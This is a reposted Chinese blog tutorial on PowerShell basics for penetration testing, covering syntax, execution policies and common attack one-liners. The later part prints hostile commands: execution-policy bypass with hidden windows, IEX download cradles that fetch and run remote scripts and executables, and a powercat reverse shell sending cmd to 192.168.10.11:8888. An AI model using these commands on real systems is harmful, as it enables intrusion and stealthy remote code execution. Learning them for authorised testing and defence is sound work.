当前位置:   article > 正文

渗透测试中powershell基础_(new-object system.net.webclient).downloadfile

(new-object system.net.webclient).downloadfile

powershell简介

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在Windows7及其以上的系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。PowerShell无须写到磁盘中,它可以直接在内存中运行,现在我们讨论的多数都时V2版本的powershell,因为V1的功能对我们来说把不够用,后续版本均向前兼容,所以使用v2即可。

Powershell 基础语法

变量通常以$开头,强类型,但是大小写不敏感

创建数组

$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@()  # 空数组
$a=,"1" # 一个元素的数组
  • 1
  • 2
  • 3
  • 4
  • 5

创建哈希表(感觉和类或者C语言的结构体差不多的感觉)

$stu=@{ Name = "test";Age="12";sex="man" }
  • 1

哈希表的插入和删除

$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
  • 1
  • 2
  • 3

对象

在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法

其他一些运算符

-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

循环结构的话与其他语言差别不大

函数结构如下

function Invoke-PortScan {
<#
.SYNOPSIS  简介

.DESCRIPTION  描述
    
.PARAMETER StartAddress 参数

.PARAMETER EndAddress  参数

.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>

code
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
PowerShell策略

powershell 有多种执行策略,若是执行时报错,除了语法之类的错误外,很有可能就能就是策略的问题,powershell有以下6种执行策略

  • Restricted:受限制的,可以执行单个命令,但是不能执行powershell脚本。
  • AllSigned:仅仅允许执行带有数字签名的脚本
  • RemoteSigned:执行从网络下载的脚本时,需要数字签名,本地创建的脚本则可以直接执行,不受限制
  • Unrestrictes:对于本地执行不做限制,网络下载的脚本执行时进行安全提示,让你再次确认。
  • Bypass:执行脚本不做任何限制,对于网络下载的脚本也不做安全提示,无需再次确认。
  • Undefined:表示没有设置策略,会发生继承,或者应用默认的脚本策略。

查看本地策略

Get-ExecutionPolicy
  • 1

更改策略

Set-ExecutionPolicy
  • 1

更改powershell的脚本策略需要管理员权限执行,看提示可知,这是对注册表的内容进行更改。

在这里插入图片描述

安全策略绕过

cmd下使用powershell.exe 来执行脚本事可以执行的,无论powershell的执行策略是那种

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.220.129:8080/hello.ps1')
  • 1

在这里插入图片描述

下面这种方式也可以,主要就是bypass 策略来执行。

powershell -exec bypass .\hello.ps1
  • 1

在这里插入图片描述

其他常用命令

ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
-enc base64:把ps脚本编码成base64来执行,实战用的最多;

powershell.exe -exec bypass -W hidden -nop  test.ps1
  • 1

powershell下载文件到指定路径

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
  • 1

下载exe,并且执行

powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
  • 1

下载远程powershell 脚本,并且带参数执行

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  • 1

反弹msf的shell

powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  • 1

参考

https://blog.csdn.net/weixin_45116657/article/details/103449931
https://www.anquanke.com/post/id/87976#h3-29

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/152823?site
推荐阅读
相关标签
  

闽ICP备14008679号